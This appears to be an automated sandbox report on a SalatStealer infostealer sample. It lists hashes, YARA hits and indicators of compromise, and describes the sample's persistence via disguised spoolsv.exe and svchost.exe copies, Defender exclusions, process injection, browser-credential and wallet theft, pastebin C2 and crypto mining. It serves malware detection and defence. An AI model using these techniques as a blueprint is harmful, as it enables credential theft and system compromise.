salatstealer | 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8

user interaction
yes
max time kernel
750s
max time network
763s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/04/2026, 16:08

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Report Analysis Logs

General

Target
keshka.exe
Size 3.4MB
Sample260420-tljsmsat3n
SHA256 897b5101cafb0a9104381e8cd260c932df8cc2162bd2d4f26ba968f4b70c63e8
MD5 20eef3d8647f48e17eb7f3804d836518
SHA1 fbe3a3f8d08c980ca36cf9f10ac9f72982d899dc
SHA512 8dc2e5f6568da07b03c7f793f7c70dfd7d48883d6fc473ab21931de02d41700f2d95c99a84047c1b144827573293fdd8d40b81219ce5a7d0605c6b7281f8f26a
SSDEEP 98304:J90zEmNW6ABeiCR3MBpTrJNpHfGYMZBCwLCta:X0rk6wwR3c3tH9MbCwLC4
TLSH
T12DF53300C54F7BFAEE5259B4F8DCC5814D4EC5089ED2D69F0A269B76AB43B1C820639F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution salatstealer miner persistence spyware stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 63 IoCs

resource	yara_rule
behavioral1/memory/8-1-0x0000000000D60000-0x00000000019B7000-memory.dmp	family_salatstealer
behavioral1/memory/8-2-0x0000000000D60000-0x00000000019B7000-memory.dmp	family_salatstealer
behavioral1/memory/8-3-0x0000000000D60000-0x00000000019B7000-memory.dmp	family_salatstealer
behavioral1/memory/8-5-0x0000000000D60000-0x00000000019B7000-memory.dmp	family_salatstealer
behavioral1/memory/8-14-0x0000000000D60000-0x00000000019B7000-memory.dmp	family_salatstealer
behavioral1/memory/2676-16-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-17-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-18-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-20-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-22-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-24-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-26-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-31-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/568-39-0x0000000000520000-0x0000000001177000-memory.dmp	family_salatstealer
behavioral1/memory/2356-58-0x0000000000FB0000-0x0000000001C07000-memory.dmp	family_salatstealer
behavioral1/memory/2676-84-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-90-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-94-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-98-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-102-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/5276-111-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/1852-113-0x0000000000880000-0x00000000014D7000-memory.dmp	family_salatstealer
behavioral1/memory/2676-114-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-118-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-122-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-131-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-132-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-133-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-134-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-135-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-136-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-137-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-138-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-139-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-140-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-141-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-142-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-143-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-144-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-147-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/1476-150-0x0000000000880000-0x00000000014D7000-memory.dmp	family_salatstealer
behavioral1/memory/5772-152-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-153-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-154-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-155-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-156-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-157-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-158-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-159-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-160-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-161-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-162-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-163-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-164-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-165-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-166-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-167-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-168-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-169-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/5576-172-0x0000000000880000-0x00000000014D7000-memory.dmp	family_salatstealer
behavioral1/memory/4004-173-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-174-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer
behavioral1/memory/2676-175-0x0000000000AB0000-0x0000000001707000-memory.dmp	family_salatstealer

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 1988 created 616	1988	powershell.EXE	5
PID 5484 created 616	5484	powershell.EXE	5

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
77	4416	powershell.exe
81	4416	powershell.exe
85	4416	powershell.exe
86	4416	powershell.exe
87	4416	powershell.exe
87	4416	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3092	powershell.exe
5504	powershell.exe
1988	powershell.EXE
5484	powershell.EXE

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Cryptocurrency Miner
Makes network request to known mining pool URL.
miner

Executes dropped EXE 11 IoCs

pid	Process
2676	spoolsv.exe
568	spoolsv.exe
2356	spoolsv.exe
1852	svchost.exe
5276	spoolsv.exe
1476	svchost.exe
5772	spoolsv.exe
5576	svchost.exe
4004	spoolsv.exe
3972	f.exe
5648	rjyzvekkqzsi.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
109	pastebin.com
110	pastebin.com

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	rjyzvekkqzsi.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\MRT.exe	f.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3972 set thread context of 1404	3972	f.exe	121
PID 1988 set thread context of 2708	1988	powershell.EXE	136
PID 5648 set thread context of 1276	5648	rjyzvekkqzsi.exe	138
PID 5648 set thread context of 3812	5648	rjyzvekkqzsi.exe	140
PID 5648 set thread context of 1264	5648	rjyzvekkqzsi.exe	141
PID 5484 set thread context of 5848	5484	powershell.EXE	146

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/8-0-0x0000000000D60000-0x00000000019B7000-memory.dmp	upx
behavioral1/memory/8-1-0x0000000000D60000-0x00000000019B7000-memory.dmp	upx
behavioral1/memory/8-2-0x0000000000D60000-0x00000000019B7000-memory.dmp	upx
behavioral1/memory/8-3-0x0000000000D60000-0x00000000019B7000-memory.dmp	upx
behavioral1/memory/8-5-0x0000000000D60000-0x00000000019B7000-memory.dmp	upx
behavioral1/files/0x00080000000244a0-11.dat	upx
behavioral1/memory/8-14-0x0000000000D60000-0x00000000019B7000-memory.dmp	upx
behavioral1/memory/2676-15-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-16-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-17-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-18-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-20-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-22-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-24-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-26-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-31-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/568-33-0x0000000000520000-0x0000000001177000-memory.dmp	upx
behavioral1/memory/568-39-0x0000000000520000-0x0000000001177000-memory.dmp	upx
behavioral1/memory/2356-56-0x0000000000FB0000-0x0000000001C07000-memory.dmp	upx
behavioral1/memory/2356-58-0x0000000000FB0000-0x0000000001C07000-memory.dmp	upx
behavioral1/memory/2676-84-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-90-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-94-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-98-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-102-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/1852-108-0x0000000000880000-0x00000000014D7000-memory.dmp	upx
behavioral1/memory/5276-110-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/5276-111-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/1852-113-0x0000000000880000-0x00000000014D7000-memory.dmp	upx
behavioral1/memory/2676-114-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-118-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-122-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-131-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-132-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-133-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-134-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-135-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-136-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-137-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-138-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-139-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-140-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-141-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-142-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-143-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-144-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/1476-146-0x0000000000880000-0x00000000014D7000-memory.dmp	upx
behavioral1/memory/2676-147-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/1476-150-0x0000000000880000-0x00000000014D7000-memory.dmp	upx
behavioral1/memory/5772-152-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-153-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-154-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-155-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-156-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-157-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-158-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-159-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-160-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-161-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-162-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-163-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-164-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-165-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx
behavioral1/memory/2676-166-0x0000000000AB0000-0x0000000001707000-memory.dmp	upx

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\spoolsv.exe	spoolsv.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\c3db3209-cf08-20cd-06c7-4d39a01109cf	keshka.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\svchost.exe	keshka.exe
File opened for modification	C:\Program Files (x86)\Common Files\c3db3209-cf08-20cd-06c7-4d39a01109cf	keshka.exe
File opened for modification	C:\Program Files (x86)\Common Files\spoolsv.exe	keshka.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\spoolsv.exe	spoolsv.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2116	sc.exe
6056	sc.exe
676	sc.exe
2956	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	keshka.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
8	keshka.exe
8	keshka.exe
8	keshka.exe
8	keshka.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
4416	powershell.exe
2676	spoolsv.exe
2676	spoolsv.exe
4416	powershell.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
2676	spoolsv.exe
3972	f.exe
3092	powershell.exe
3092	powershell.exe
3972	f.exe
3972	f.exe
3972	f.exe
3972	f.exe
3972	f.exe
3972	f.exe
5648	rjyzvekkqzsi.exe
5504	powershell.exe
5504	powershell.exe
1988	powershell.EXE
1988	powershell.EXE
1988	powershell.EXE
2708	dllhost.exe
2708	dllhost.exe
5648	rjyzvekkqzsi.exe
5648	rjyzvekkqzsi.exe
5648	rjyzvekkqzsi.exe
5648	rjyzvekkqzsi.exe
5484	powershell.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2676	spoolsv.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4416	powershell.exe
Token: SeDebugPrivilege	3092	powershell.exe
Token: SeDebugPrivilege	5504	powershell.exe
Token: SeDebugPrivilege	1988	powershell.EXE
Token: SeDebugPrivilege	1988	powershell.EXE
Token: SeDebugPrivilege	2708	dllhost.exe
Token: SeLockMemoryPrivilege	1264	dialer.exe
Token: SeDebugPrivilege	5484	powershell.EXE
Token: SeAssignPrimaryTokenPrivilege	2308	svchost.exe
Token: SeIncreaseQuotaPrivilege	2308	svchost.exe
Token: SeSecurityPrivilege	2308	svchost.exe
Token: SeTakeOwnershipPrivilege	2308	svchost.exe
Token: SeLoadDriverPrivilege	2308	svchost.exe
Token: SeSystemtimePrivilege	2308	svchost.exe
Token: SeBackupPrivilege	2308	svchost.exe
Token: SeRestorePrivilege	2308	svchost.exe
Token: SeShutdownPrivilege	2308	svchost.exe
Token: SeSystemEnvironmentPrivilege	2308	svchost.exe
Token: SeUndockPrivilege	2308	svchost.exe
Token: SeManageVolumePrivilege	2308	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2308	svchost.exe
Token: SeIncreaseQuotaPrivilege	2308	svchost.exe
Token: SeSecurityPrivilege	2308	svchost.exe
Token: SeTakeOwnershipPrivilege	2308	svchost.exe
Token: SeLoadDriverPrivilege	2308	svchost.exe
Token: SeSystemtimePrivilege	2308	svchost.exe
Token: SeBackupPrivilege	2308	svchost.exe
Token: SeRestorePrivilege	2308	svchost.exe
Token: SeShutdownPrivilege	2308	svchost.exe
Token: SeSystemEnvironmentPrivilege	2308	svchost.exe
Token: SeUndockPrivilege	2308	svchost.exe
Token: SeManageVolumePrivilege	2308	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2308	svchost.exe
Token: SeIncreaseQuotaPrivilege	2308	svchost.exe
Token: SeSecurityPrivilege	2308	svchost.exe
Token: SeTakeOwnershipPrivilege	2308	svchost.exe
Token: SeLoadDriverPrivilege	2308	svchost.exe
